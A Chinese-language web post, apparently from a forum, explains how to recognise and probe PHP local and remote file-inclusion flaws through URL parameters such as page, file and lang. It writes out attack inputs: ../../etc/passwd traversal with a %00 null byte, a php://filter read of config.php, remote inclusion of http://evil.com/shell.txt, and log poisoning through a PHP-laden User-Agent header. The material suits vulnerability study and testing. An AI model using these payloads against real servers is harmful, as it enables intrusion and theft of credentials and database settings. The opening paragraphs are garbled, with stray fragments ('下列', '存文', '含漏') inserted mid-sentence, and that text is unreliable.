游客发表
直接看URL里有没有问号、下列等号和路径拼接。存文文件包含漏洞的含漏典型特征,是下列参数名像page、file、存文include、含漏path,下列后面跟着相对路径或文件名。存文比如index.php?含漏page=about.php,这种十有八九是下列把用户输入拼进include函数了。
我见过一个真实案例。存文某政府网站新闻模块,含漏URL长这样:news.php?下列lang=cn。开发者图省事,存文直接写include($_GET['lang'].'/header.php')。含漏攻击者把lang参数改成../../../../etc/passwd%00,配合老版本PHP的截断特性,直接读走了服务器账号密码。后来查日志,攻击者还试过php://filter/convert.base64-encode/resource=config.php,把数据库配置拖走了。这种就是典型的本地文件包含,参数值直接决定读取哪个文件。
但别急着看到参数就喊漏洞。有些URL看起来危险,实际是安全的。比如download.php?file=report_2024.pdf,后端可能用了basename()过滤,或者白名单校验扩展名。我有次测试某CMS,后台template.php?tpl=default,参数值必须匹配array('default','blue','red')之一,否则直接die。这种写死的映射表,反而比冗长的过滤逻辑更安全。
真正要警惕的是远程文件包含。URL里出现?url=http://或者?path=https://开头,基本等于裸奔。攻击者直接传一个http://evil.com/shell.txt,如果php.ini的allow_url_include开着,服务器就变成人家的傀儡机了。前年某开源商城就栽在这上面,官方修复补丁只是把include改成file_get_contents加正则校验,结果被绕过——正则只挡了http,人家用ftp://照样打穿。
还有个容易忽略的坑:路径穿越配合日志注入。如果URL是view.php?doc=user_guide,后端拼上.html后缀,表面看挺安全。但攻击者提交view.php?doc=../../../../var/log/apache2/access.log,再用User-Agent头写一段PHP代码。日志文件里就包含了可执行代码,include日志就等于执行了攻击代码。这招老套但有效,我实测过多次,很多WAF只检查参数值里的/和.,却漏了日志文件本身。
区分安全与危险,别光看URL格式。你得想清楚后端拿到参数后做了什么。如果只是拼字符串然后include,那不管参数叫id还是name,都可能是坑。反过来,参数名再像include,只要后端做了严格白名单,反而没事。我见过最蠢的代码是include($_POST['module'].'.php')——POST参数直接拼路径,连过滤都没有,这跟送分题没区别。
最后说个判断技巧:手动改参数值试试。把page=home改成page=home%00,如果页面报错信息里泄露了完整路径,那基本就中奖了。再试试page=../../../etc/passwd,如果页面空白但没报错,可能被过滤了;如果返回root:x:0:0:开头的内容,那恭喜,直接提交漏洞报告吧。记住,文件包含漏洞的检测从来不是看URL长什么样,而是看你对参数动手后服务器怎么反应。
友情链接